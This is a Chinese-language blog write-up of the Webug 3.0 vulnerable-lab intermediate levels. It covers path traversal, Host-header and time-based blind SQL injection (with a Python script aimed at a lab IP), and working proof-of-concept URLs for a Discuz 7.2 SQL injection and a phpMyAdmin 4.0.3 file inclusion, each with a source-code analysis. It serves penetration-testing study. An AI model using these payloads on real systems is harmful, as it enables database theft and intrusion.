我們的漏洞Webug 3.0中級進階攻略(上)
WeBug名稱定義為“我們的漏洞”靶場環境。基礎環境是基於PHP/mysql製作搭建而成,中級環境與高階環境分別都是由網際網路漏洞事件而收集的漏洞存在的操作環境。部分漏洞是基於Windows作業系統的漏洞所以將WeBug的web環境都裝在了一個純淨版的Windows 2003的虛擬機器中。
這次帶來Webug3.0中級進階上部分 借鑑了很多前輩的文章 有些關卡可能是本身環境配置的問題 無法復現漏洞 或者我姿勢不對 如果有做出的大佬可以補充一下~
中級進階——上
第一關:出來點東西吧 ../../etc/passwd
../../etc/passwd 提示了可能是要讀取檔案 同時webug是個windows 2003的虛擬機器 也不存在/etc/passwd
開始無論選擇什麼國點go 啥都沒有點納悶 僅僅後面的country變了
後來一看原始碼發現路徑是路徑寫的不對..
把cc目錄下的幾個檔案移到上級目錄 選擇世界就會正常顯示出圖片了
這關就是一個任意檔案讀取的漏洞 跨目錄讀取了主頁檔案index.html
看了原始檔沒發現哪裡有flag 可能題目沒完善或是我沒找到 總之就是一個任意檔案讀取漏洞
第二關:提交的方式是怎樣的啊? pass!
這回不用改也顯示正常了 點餐就直接出來了圖片 這回url後面沒有帶引數了
根據關卡“提交的方式是怎樣的啊” 那就是post了 後來抓包也證實了這點
一樣是一個任意檔案讀取漏洞 不過換成了post方式 目的讓大家認識這個漏洞
第三關:我還是一個注入 怎麼又TM注入
題目說又是注入 沒有引數可注 就想到了頭部注入 但無奈水平過低 無法注入 只好看原始碼
發現原來是host頭注入 實在是沒想到啊
知道了就好辦了 跟普通注入一樣的來 得到列長為4
得到表名
最後得到flag
第四關:APK裡面有一個FLAG 看看APK
apk用android killer開啟 不是很懂apk逆向也大致看了一下 把這四個base64解密好像就是flag了
或者點選apk裡面的按鈕三百下 就會給出flag
第五關:時間注入 時間注入
提示加type參 get型時間盲注
用sleep()來確認是否是時間盲注 如果是 則延時x秒執行 不是則立即返回
手工盲注就太累了 照網上的程式碼 寫了一個時間盲注的python指令碼
自動跑出庫名 表名和列名改改payload也是一樣可以跑出來的
#encoding=utf-8 #時間盲註腳本import requestsimport timepayloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,'#存放跑出的結果length=0database=''table=''print 'start get length...'for l in range(1,21): startTime1=time.time() url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l) response1 = requests.get(url1) if time.time() - startTime1 > 5: length=l print "the length is " + str(length) breakprint 'start database sql injection...'for d in range(1,length+1): for payload in payloads: startTime2=time.time() url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload) response2 = requests.get(url2) #傳送請求 if time.time() - startTime2 > 5: #判斷是否延時了5秒 也就是 是否執行了函式sleep(5) database+=payload print database breakprint "the database is " + database
實戰練習:DZ論壇 注入
好像配置有點問題還是咋的= = 無法復現
於是在本地自行搭建了一個dz7.2的環境
需要的環境小夥伴自取(均從網上搜集):(閱讀原文獲取雲盤連結)
MySQL Duplicate entry報錯注入 PoC:
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
問題發生在faq.php 148行開始
185行定義了一個數組groupids,然後遍歷同樣是陣列的gids,將陣列中所有值的第一位取出來放在groupids中。
dz在全域性會對get傳遞過來的陣列用函式addslashes進行轉義,單引號 ‘ 會被轉義成 ’ 。
而 $groupids[] = $row[0] 又取了字串的第一個字元,也就是把 轉義符號給取出來了。
再到190行末尾 對 groupids 用implodeids函式進行了處理
在 /include/global.func.php中 672行 看到implodeids函式
function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; }}
如果陣列不為空就將其用 ‘,’ 分隔開,就好像1234返回’1’,’2’,’3’,’4’
但前面取出了一個 轉義符號就變成了
‘1’,’’,’3’,’4’
第4個單引號就被轉義了,第3個單引號就與第5個單引號閉合了,那麼“3”就逃逸出了單引號的限制,產生了注入。
faq.php?gids[x]=’&gids[x+1][uid]=sql 如此構造就可以突破安全處理
實戰練習:ASPCMS 注入
怎麼都搭建不起來。。頭皮發麻ing
實戰練習:phpMyAdmin 任意檔案包含漏洞
不知為啥給的環境報錯… 乾脆自己本地搭建了一個 phpMyadmin 4.0.3 + php 5.2.17
phpMyAdmin下載地址http://pan.baidu.com/s/1dEYo9zj
PoC
http://localhost/pma4.0.3/gis_data_editor.php?token=4f4b3ee07ffc84e6bbef624931ae6999&gis_data[gis_type]=/../../advisory_rules.txt%00
token登入進去就會給,是phpMyAdmin的CSRF防禦機制。
gis_data[gis_type]=file%00 file替換為要包含的檔案路徑
實際檔案路徑為 ./libraries/gis/pma_gis_file
注意%00截斷
首先來到 librariesgispma_gis_factory.php 29行
接收到 type 引數之後再第33行 轉換成小寫並賦值給了 type_lower ,並在下面拼接成路徑進行include_once
再來到根目錄下的gis_data_editor.php
第28行 $_REQUEST[‘gis_data’] 獲取到gis_data,第44行如果 $gis_data[‘gis_type’] 存在,則直接來到60行,賦值給 geom_type,並傳入了PMA_GIS_Factory::factory函式。
一句話來說就是因為將 $gis_data[‘gis_type’] 拼接進了路徑並進行了include_once中,造成了任意檔案包含漏洞。